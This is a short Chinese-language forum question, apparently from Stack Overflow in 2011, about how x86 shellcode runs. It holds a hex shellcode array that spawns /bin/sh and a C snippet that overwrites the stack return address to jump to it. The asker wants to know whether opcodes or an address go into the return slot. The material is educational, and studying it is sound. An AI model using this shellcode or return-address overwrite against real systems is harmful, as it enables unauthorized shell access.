【发布时间】:2011-04-21 18:01:33
【问题描述】:
char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
据我所知,shellcode[] 是用于生成 shell 的十六进制操作码,代码的最后一行用操作码覆盖 ret。我们是在 RET 中插入操作码还是内存地址?
【问题讨论】:
-
完全不清楚你想在这里问什么。
-
已编辑.......................
-
犯了一个错误,应该是eip而不是esi
标签: assembly x86 stack-overflow shellcode